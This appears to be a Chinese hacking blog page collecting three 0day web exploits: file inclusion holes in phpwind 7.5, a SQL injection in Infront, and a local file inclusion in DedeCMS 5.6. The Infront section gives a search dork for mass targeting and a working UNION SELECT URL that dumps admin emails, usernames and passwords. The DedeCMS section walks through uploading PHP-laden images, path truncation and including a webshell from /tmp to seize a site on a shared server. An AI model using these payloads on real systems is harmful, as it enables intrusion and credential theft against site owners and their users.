www.51xiaofeng.com
安全
phpwind 7.5 0day漏洞运用
六 26th
phpwind 7.5 Multiple Include Vulnerabilities
壹.api/class_base.php本地包含漏洞
1.描敘
api/class_base.php文件裏callback函數裏$mode變量沒有過濾導致任意包含本地文件,從而可以執行任意PHP命令.
2. 具體分析
api/class_base.php文件裏:
function callback($mode, $method, $params) {
if (!isset($this->classdb[$mode])) {
if (!file_exists(R_P.’api/class_’ . $mode . ‘.php’)) {
return new ErrorMsg(API_MODE_NOT_EXISTS, “Class($mode) Not Exists”);
}
require_once(R_P.’api/class_’ . $mode . ‘.php’); //這裏
$this->classdb[$mode] = new $mode($this);
}
if (!method_exists($this->classdb[$mode], $method)) {
return new ErrorMsg(API_METHOD_NOT_EXISTS, “Method($method of $mode) Not Exists”);
}
!is_array($params) &&$params = array();
return @call_user_func_array(array(&$this->classdb[$mode], $method), $params);
}
我們繼續跟壹下具體變量傳遞的過程. 上面的函數在run()裏有調用:
function run($request) {
$request = $this->strips($request);
if (isset($request['type']) &&$request['type'] == ‘uc’) {
$this->type = ‘uc’;
$this->apikey = $GLOBALS['uc_key'];//註意這個變量也是該漏洞的關鍵
} else {
$this->type = ‘app’;
$this->apikey = $GLOBALS['db_siteownerid'];
$this->siteappkey = $GLOBALS['db_siteappkey'];
}
/***
if ($this->type == ‘app’ &&!$GLOBALS['o_appifopen']) {
return new ErrorMsg(API_CLOSED, ‘App Closed’);
}
***/
ksort($request);
reset($request);
$arg = ”;
foreach ($request as $key => $value) {
if ($value &&$key != ‘sig’) {
$arg .= “$key=$value&”;
}
}
if (md5($arg . $this->apikey) != $request['sig']) { //註意這個判斷,需要繞過它.上面的代碼可以看的出來$this->apikey = $GLOBALS['uc_key'],和$request['sig']我們
//都可以操控,那麽很轻易繞過它
return new ErrorMsg(API_SIGN_ERROR, ‘Error Sign’);
}
$mode = $request['mode']; //取$mode 沒有過濾直接進入下面的callback()
$method = $request['method'];
$params = isset($request['params']) ? unserialize($request['params']) : array();
if (isset($params['appthreads'])) {
if (PHP_VERSION <5.2) {
require_once(R_P.’api/class_json.php’);
$json = new Services_JSON(true);
$params['appthreads'] = $json->decode(@gzuncompress($params['appthreads']));
} else {
$params['appthreads'] = json_decode(@gzuncompress($params['appthreads']),true);
}
}
if ($params &&isset($request['charset'])) {
$params = pwConvert($params, $this->charset, $request['charset']);
}
return $this->callback($mode, $method, $params); //調用callback ()
}
我們繼續看看run()函數的調用:
在pw_api.php文件裏:
$api = new api_client();
$response = $api->run($_POST + $_GET);//直接run了$_POST , $_GET提交的變量.
上面的分析是逆行分析了整個漏洞變量提交的過程,其實我們這個漏洞還包含壹次編碼與解碼的問:require_once(R_P.’api/class_’ . $mode . ‘.php’);這個需要繞過魔術引號才可以
包含轻易文件.我們註意看run()的第壹句
$request = $this->strips($request);
strips()的代碼:
function strips($param) {
if (is_array($param)) {
foreach ($param as $key => $value) {
$param[$key] = $this->strips($value);
}
} else {
$param = stripslashes($param); //變量直接使用了stripslashes,那麽我們可以直接繞過魔術引號了 ![]()
}
return $param;
}
3.POC/EXP
缺
4.FIX
由於漏洞信息的外泄,官方針對這個漏洞已經做出了修補:
http://www.phpwind.net/read-htm-tid-914851.html
具體代碼:
require_once Pcv(R_P.’api/class_’ . $mode . ‘.php’);
function Pcv($filename,$ifcheck=1){
$tmpname = strtolower($filename);
$tmparray = array(‘ http://’,”\0“); //過濾了http:// \0 意思是不讓遠程 不讓截斷
$ifcheck &&$tmparray[] = ‘..’; //過濾了.. 意思是不讓轉跳目錄
if (str_replace($tmparray,”,$tmpname)!=$tmpname) {
exit(‘Forbidden’);
}
return $filename;
}
從Pcv()可以看出來phpwind的補丁風格是很猥瑣的,單從這個pcv來看 還有很多的邏輯問題,比如http://這個過濾很搞笑,人家就不可以用ftp://? …
二.apps/share/index.php遠程包含漏洞
1.描敘
apps/share/index.php 裏$route和$basePath變量沒有初始化,導致遠程包含或者本地包含php文件,導致執行任意php代碼
2.具體分析
<?php
if ($route == “share”) {
require_once $basePath . ‘/action/m_share.php’;
} elseif ($route == “sharelink”) {
require_once $basePath . ‘/action/m_sharelink.php’;
}
?>
這個漏洞好象不太需要分析!!!! 我建議寫這個代碼的人應該扣除年終獎…
3.POC/EXP
缺
4.FIX
等待官方補丁,假如用不著的朋友直接把這個文件刪除好了.
三.apps/groups/index.php遠程包含漏洞
1.描敘
apps/groups/index.php 裏$route和$basePath變量沒有初始化,導致遠程包含或者本地包含php文件,導致執行任意php代碼
2.具體分析
<?php
if ($route == “groups”) {
require_once $basePath . ‘/action/m_groups.php’;
} elseif ($route == “group”) {
require_once $basePath . ‘/action/m_group.php’;
} elseif ($route == “galbum”) {
require_once $basePath . ‘/action/m_galbum.php’;
}
這個漏洞好象不太需要分析!!!! 我建議寫這個代碼的人應該扣除年終獎…
3.POC/EXP
缺
4.FIX
等待官方補丁,假如用不著的朋友直接把這個文件刪除好了.
最新消息 目前官方已經發布補丁http://www.phpwind.net/read-htm-tid-914851.html
Infront 程序存在SQL注入漏洞
六 26th
Infront 程序存在SQL注入漏洞,可获取管理权限。
批量:google:intext:Powered by Infront
漏洞页面 : breaking_news.php
Exploit Code : http://www.hackzhi.org/变量路径/breaking_news.php?newsid=union select 1,2,3,concat(email,0x3e,user,0x3e,pass),5,6+FROM+login
后台登入:
http://www.hackzhi.org/变量路径/login.php
演示:http://www.hackzhi.org/breaking_news.php?newsid=-103+UNION+SELECT+1,2,3,concat(email,0x3e,user,0x3e,pass),5,6+FROM+login–
首发TheMaster
DedeCmsV5.6再爆0day 本地包含 鸡助0day漏洞
六 26th
DedeCmsV5.6 程序plus/carbuyaction.php 变量未初始化,造成本地文件包含漏洞。
代码:
<?php require_once (dirname(__FILE__) . “/../include/common.inc.php”); define(‘_PLUS_TPL_’, DEDEROOT.’/templets/plus’); require_once DEDEINC.’/dedetemplate.class.php’; require_once DEDEINC.’/shopcar.class.php’; require_once DEDEINC.’/memberlogin.class.php’; if($cfg_mb_open==’N') { ShowMsg(“系统关闭了会员功能,因此你无法访问此页面!”,”javascript:;”); exit(); } $cfg_ml = new MemberLogin(); if(!isset($dopost) || empty($dopost)){ //只要$dopost不为空就行,By:qing。 … }elseif($dopost == ‘return’){ require_once DEDEINC.’/payment/’.$code.’.php’; //变量$code未初始化, $pay = new $code; $msg=$pay->respond(); ShowMsg($msg,”javascript:;”,0,3000); exit(); } ?>
测试代码:http://www.hackqing.cn/plus/carbuyaction.php?dopost=return&code=../../
1、 plus/carbuyaction.php文件:
//漏洞出现下$dopost 为return的时候,$code变量没有被赋值,由于dedecms的全局机制可以任意给其赋值,从而带入包含,导致本地包含漏洞。
…
elseif($dopost == ‘return’){ //$code直接引入, require_once DEDEINC.’/payment/’.$code.’.php’; $pay = new $code; $msg=$pay->respond(); ShowMsg($msg,”javascript:;”,0,3000); exit(); }
…
2、 include/common.inc.php:
//无论是否打开magic_quotes_gpc,系统都对传进来的变量进行了addslashes处理,…
function _RunMagicQuotes(&$svar) { if(!get_magic_quotes_gpc()) { if( is_array($svar) ) { foreach($svar as $_k => $_v) $svar[$_k] = _RunMagicQuotes($_v); } else { $svar = addslashes($svar); } } return $svar; } //模拟register_globals,对_GET、_POST、_COOKIE全局化, foreach(Array(‘_GET ‘,’_POST’,'_COOKIE’) as $_request) { foreach($$_request as $_k => $_v) ${$_k} = _RunMagicQuotes($_v); }
…
三、漏洞利用
1. windows系统:
IIS或者某些apache版本下php文件系统可以进行路径截断,
可以通过
///////////////////////////////////(若干/)
/././././././././././././././././(若干/.)
进行截断。
于是可以上传一个精心构造带有恶意php代码的图片,然后注册一个用户上传,比如上传到uploads/userup/2/12Ka5357-c53.jpg,于是可以通过访问:
http://127.0.0.1/ plus/carbuyaction.php?dopost=return&code=../../uploads/userup/2/12Ka5357-c53.jpg///////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////(若干/)
则有可能执行12Ka5357-c53.jpg中的恶意php代码,从而达到入侵的目的。
2.linux系统:
1)apache某些版本php文件系统支持路径截断,于是同windows下,可以通过
///////////////////////////////////(若干/)
/././././././././././././././././(若干/.)
进行截断。
利用方法同windows:
于是可以上传一个精心构造带有恶意php代码的图片,然后注册一个用户上传,比如上传到uploads/userup/2/12Ka5357-c53.jpg,于是可以通过访问:
http://127.0.0.1/ plus/carbuyaction.php?dopost=return&code=../../uploads/userup/2/12Ka5357-c53.jpg///////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////(若干/)
则有可能执行12Ka5357-c53.jpg中的恶意php代码,从而达到入侵的目的。
2)旁注攻击
比如目标站是www.aaa.com,漏洞文件是:
http://www.aaa.com/ plus/carbuyaction.php
同服务器有个站点www.bbb.com可以轻松入侵,拿到webshell,但是由于权限控制,www.bbb.com站的webshell访问或者控制不了www.aaa.com,于是我们可以通过这个本地包含漏洞达到入侵www.aaa.com的目的。
1. 通过www.bbb.com上传一个webshell到/tmp文件夹下,比如文件名是shell.php;
2. 访问http://www.aaa.com/plus/carbuyaction.php?code=../../../../../../../tmp/shell则可以成功包含我们上传到临时文件夹下的webshell,由于当前是www.aaa.com的权限,则可以完全控制目标站点:www.aaa.com。